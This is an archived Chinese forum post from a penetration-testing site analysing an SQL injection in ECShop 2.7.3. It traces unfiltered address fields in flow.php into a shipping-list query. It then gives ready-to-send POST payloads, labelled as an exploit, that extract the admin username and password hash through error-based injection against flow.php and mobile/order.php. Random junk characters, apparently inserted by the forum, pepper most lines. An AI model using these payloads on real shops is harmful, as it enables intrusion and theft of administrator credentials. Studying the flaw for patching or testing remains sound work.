中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。3 P8 i% ~* h1 M' P7 {+ n

& w& b$ ^3 w8 R1 k3 _, y2 Y    漏洞关键文件:0 ?/ U# @# v8 b, P7 S

9 O2 v! Q- q- H7 f; o    /includes/lib_order.php$ _. `8 S: q9 u( T- N1 b
2 ]/ u6 s6 f8 N6 Q! K& ^4 R
    关键函数:5 O& T1 S1 s8 S4 O" ~2 E# W* W

, N# h  N. n+ e8 a- j5 v5 m " G: d5 P: v# B2 D
9 k  I4 w8 K$ |9 }5 U+ x
01     function available_shipping_list($region_id_list)
1 `6 @) X: M- i6 `" t2 y4 O! ^) W) h( `( F
02 { 3 f2 E7 P4 P3 p: W* @1 t' \

& a8 Y& A: o2 G/ Z03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ) A+ f, l8 B+ L1 |. Q

# l  `5 |( e( o5 _9 J04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 1 D4 O- D# r! F, u# ?$ Z. S
+ S  {. l) J9 o
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
+ l) v2 c* R; @
' R, {; ^! H. A* |: K/ U06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 f: e  _4 C3 _& D9 k* {3 c
5 U) [! P/ R' r* b8 Q& Z& b07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 7 K2 C7 D( Z# L/ ?  Z& J

3 \0 G/ X9 W% X' A08             'WHERE r.region_id ' . db_create_in($region_id_list) .
* x2 b+ C/ y- |6 E
/ ^- J* ]& q# k; n( i4 K) o, D09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
! ^# Q) d( S2 k) Z& `
" B8 Z7 o, v7 s" x! @. L10     |" O# {/ D6 q* Y+ p8 D1 R3 l" r
1 b8 x+ R5 F) A, _0 A
11     return $GLOBALS['db']->getAll($sql);
! M" i5 P% v$ o( q& k' @! `4 L
' v6 F, U! h( ]8 ]6 I9 v/ t12 } ; Q7 b7 s% \6 }8 n0 k
6 o3 b" e5 N" Q! f& `, `3 F
显然对传入的参数没有任何过滤就带入了查询语句。
4 e( D) A& [3 W : Y: X! T% D) v$ [" C* k& q& [
下面我们追踪这个函数在flow.php中:
8 |. c  z% t6 [& f$ t3 d8 n7 D$ G 第531行:   
8 f3 K8 r- q0 x% J6 |5 @
- P& Y) `2 X& P1 $shipping_list     = available_shipping_list($region);
& i2 \& x& q! ^7 r5 y
& Y; a; q4 a: M# ]5 K# | 7 E, J, X5 m, I* y7 Q" m0 p
+ ]; b) F/ u( G  J* ?4 J+ _: A+ `
4 Q! D$ c( i/ S% o  I1 x) w
: z9 v& O$ i; e; H! o: b4 [) ~
再对传入变量进行追踪:
8 T4 n, d; q" [: W0 H0 [
! P% r/ H6 c" _2 z/ f第530行:   
; A, R* {- s5 \" W4 P' j$ z( g0 Z5 u6 A6 x: t7 B; \, x
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
$ J, q& y- q6 l- a
! C" z7 A( f% L( I - D6 @2 f1 I0 |1 n6 {& C- g3 N2 b
9 f6 \( f  s7 L8 w; T

) l! o2 ~# r8 R+ I. O$ C
/ h( A9 a/ Y- D3 d& q! ]/ @; C& q' K第473行:        # f) t2 M0 G$ ]2 V
: l# }) F! E" E4 p) m4 z
1 $consignee = get_consignee($_SESSION['user_id']); : R: d  y% L7 ^& `* `; t) t' s

) F) Z; f* t$ g/ I/ V: K" z/ R) S# }) u到了一个关键函数:* |5 \" Z9 Z$ J; E& M

2 G: W6 J0 x* K# _8 O4 G/includes/lib_order.php2 _6 o  w2 H/ g; f4 f5 c" p
, G3 V& `  c& N5 Y+ o2 K; Z

. @) {5 A9 Q& F0 {5 B0 Q9 [# J2 H  e$ {. [, C& u& z

6 n. M2 w" n/ R2 p) k" L$ Q$ n) C: A/ v
01 function get_consignee($user_id) # a: b1 D! d- A: C9 \6 o) s
* x2 h3 w  ]9 o$ M2 y
02 { 2 v) i' C3 d0 g3 v
) ~) {( }0 J! \6 y# J# j! N
03     if (isset($_SESSION['flow_consignee']))
3 E( f. N4 S) g! {0 b: H8 Y* t9 B% X, U, \
04     {
7 N" X: m! }6 o$ ^& |5 G9 V- {4 m& u2 V/ a4 D# S
05         /* 如果存在session,则直接返回session中的收货人信息 */   M' p/ P6 d, D1 @/ z
; `4 G! p0 \1 S+ A7 R8 x: ?
06   ( O, V) Y8 i" G  f6 e- e

, b  a; c& a" P1 ?07         return $_SESSION['flow_consignee']; # p: k9 }" w0 E* L; [, U
# a- c8 o$ }4 z4 z9 [
08     } " M7 M' V' Q' @, M& V8 T4 a

- p# {0 N2 ?6 k7 y9 k  |09     else . H, F8 H7 {; V: a* G
9 l0 i# I# S, g$ S. _
10     {
& o/ Y5 S0 |- I% b. |  W/ V9 {$ A/ C: a$ O( X# j
11         /* 如果不存在,则取得用户的默认收货人信息 */
, n2 f5 ]4 j! {8 T* L  Q, U  B/ f, r( d, ^- v9 G6 X
12         $arr = array();
9 S0 J  F* [* v* n
- }- F5 L4 S; i13   
& Y" }, o  u4 t
9 ^" D  ~& J4 v3 i2 @6 S9 N14         if ($user_id > 0)
/ f: x0 a1 @) H7 R5 `: M* A- l- O$ N2 ~8 L
15         {
8 x9 [" Q& f$ \2 @. o& [/ s: @4 d$ x
16             /* 取默认地址 */
( n# x  B) T0 Y) T
/ M2 ^) w: W' q6 ?17             $sql = "SELECT ua.*".
  i  V1 x$ l) R. `( r$ A
' u; M- p' C# c/ r4 N18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
. _0 t% W) M. I# k
* O1 Y6 p: R) f8 n19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* _" J7 S9 d7 t& i  c' K- ^" c' l2 c; [' ]6 M. ]+ f
20   - r9 a2 |' S# Q" T1 A

* c' B. ?2 W0 d21             $arr = $GLOBALS['db']->getRow($sql);
" C0 ^) Z+ i0 P* @5 _
: s6 s5 r( J5 J2 h/ f1 L+ J22         } 1 h! y  G9 ?7 }
  ?8 n; S: a) I
23   $ X3 t0 c7 `/ ]& O

5 C, |5 A. g# N& P! }3 }2 ]6 W) E24         return $arr;
9 o& v/ M: w% v) R# b
1 i% Z7 h5 l5 B1 u* w6 h25     }
, o) m  B4 o) p
8 B3 |! e: W) i7 p8 O' r$ o1 s26 } ! Q$ C5 J: L& i8 e, L" @) p) j
" c. `1 G, S* r
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
; _. T) u- o4 I& L# o. Z3 B7 t  V& u4 v
7 E+ ~2 [6 M$ t2 ?  y: O* E/ |
' T( l! t1 p+ R
关键点:9 c; r5 Y+ [, U6 c$ A: z0 L

0 o! m2 Q: w) i6 V1 W第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);0 w! ~2 ~% y2 x9 `& A! A

8 h6 ]8 K" ?& k6 y7 ?0 p这里对传入参数反转义存入$_SESSION中。
9 w- H+ x& L, A) [  J
. _9 p( x$ s. `: n" C . j1 a) b) r4 ]: a0 l3 D4 Y8 ?

/ q* h6 a+ c( Z9 w0 U然后看下:/ F5 |3 T4 _) p/ k0 [
3 }! C$ Q6 V0 t
9 \; R  p* D) ?: _$ S- K

* b8 J6 @6 K- l! {    " M) c: p6 O! |" A  K

7 D, h0 L4 F1 {. }4 I: L01 $consignee = array( , o# @2 D2 I% }6 h9 _2 R4 `
! V, q9 a7 U/ M3 ~" }
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
  [! ~3 G7 [6 E8 M! r6 R
/ s' S9 n7 `, O% _* F03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
" g2 y0 k& z7 Q+ Y9 [+ B! V* Z  a& {( p
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], # Q: {; K  {. L$ {3 _

" c6 Q4 W" P, d5 X8 G4 X' m05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 5 S0 Y$ ~7 Q8 h! T) @
; O& b& t) e+ x2 ?+ x7 l
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], & @9 g6 ^" ~% z0 h" G: N

2 F& N8 E, M: [0 C3 t  X, y1 H. L07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
2 F+ y5 y+ ?7 I# F' F! u4 E: M" T0 d" [! _4 b1 A8 F' }) ]6 D# C
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], % F; I( e: u. i: @) I8 Q6 Q

! o' l3 _0 ~% R, E1 w! S% O+ y09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
- U0 T$ v/ N7 i% ^
" N0 t* h$ ^# Z4 s- p' n10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), / C5 h5 H3 K# \+ M1 ~& ]

6 A' S4 u7 ]) c9 Y  n11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
+ r8 W  h2 ~8 t) v6 y6 U
9 J+ B+ O$ O, Y  n" L  N12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
6 r7 ^5 P$ W/ Q. f
- L7 w, w1 @8 U3 u8 v2 y6 f13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
7 n' o+ M$ O& o. S0 V( h
0 @& _9 C' a1 a( c2 T. c14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ' R7 b4 |/ D! K& i, E

3 O0 C" U3 [; h* |0 [. r7 _" h15     ); 6 U" f2 l9 ~' B% L. R: l! P9 ~6 }

' D0 _. z3 F) C* i1 a+ Q; C好了注入就这样出现了。
7 z) }+ z; }6 w$ A3 W( j2 L1 [" ~' r# w; b2 l( R+ P' h
==================
+ M, k, h7 l! a+ f3 a" U
2 _& _- _! Q* b) u注入测试:/ {& f9 V5 t0 ]

) s# ~, \2 }2 w! u; @# i& E# q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16): X9 s! N1 X* c, p, h5 N! I7 g

9 N# b7 N+ Q. [7 ~- a5 x% i3 \测试程序:ECShop_V2.7.3_UTF8_release1106
+ {" K+ e+ U0 `  p9 ^' i
. i% D: o0 f" c/ z' G: B * G5 X. T/ N! J4 ^1 ]3 F2 v% t0 i# o6 S
1 c* E0 \+ o- T2 }" K5 L
1.首先需要点击一个商品加入购物车
' m7 G% F: F0 Q  d+ B- v" N0 Y/ _1 Q
2.注册一个会员帐号( S2 C. f2 |7 s$ r

9 ^( [- q$ a( X% F# L5 T* x3.post提交数据! g, \- I9 C0 X/ M! V
: O4 b, ]5 j1 L5 z

4 |8 }- r; z7 W9 Q
4 H0 u5 `; q" G1 p' p( n1 http://127.0.0.1/ecshop/flow.php , X& V3 h$ ~9 O$ x! ^( b
" X8 ]2 V" w% _( P6 ]9 L( u* j
2   ( D2 j" T. d1 j* Q) l/ _" B

) H2 U% u  C$ b7 ]6 B4 ~3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
& F$ E- c  F; T: q* y举一反三,我们根据这个漏洞我们可以继续深入挖掘:
' T5 ^0 ^! w* W  i% x' Y% H8 z' a  i" F' P# ~: U0 z
我们搜寻关键函数function available_shipping_list()! ^2 y/ E  y, n( t) A0 S
% Y% o3 q5 Y1 F1 d: p+ j4 W
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
8 }; O* T0 i: w  {  N( \/ y; Y  z8 |/ I( Z' p- x& |
利用exp:
( |' d! X' u+ |8 e4 g6 o$ a, [: {
/ j  e* N. r, c3 a1.点击一个商品,点击购买商标
3 i2 Z7 m( f. j: @3 g; ~6 W& F! J3 M) D3 ]
2.登录会员帐号' M( ]- Z6 y& {2 I
2 s# x5 f" e' {
3.post提交:
% u3 [* \! S# m' K- ?9 ?& s& g: i1 C* T, U& B5 P5 Q
http://127.0.0.1/ecshop/mobile/order.php
( q" `5 g# x4 V1 V* r/ A" a5 \: b; |4 g& a6 v3 T

) z: ^# t) N" l" j; C( B4 |+ _& K' ?5 r4 x4 {
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
2 `- ^: W4 ~) `/ u3 p* K
/ ^$ \, O+ j* j: L! A' s; V




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2